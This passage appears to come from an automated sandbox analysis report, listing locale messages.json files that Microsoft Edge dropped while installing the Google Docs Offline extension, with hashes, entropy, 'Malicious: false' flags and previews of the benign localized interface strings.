Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
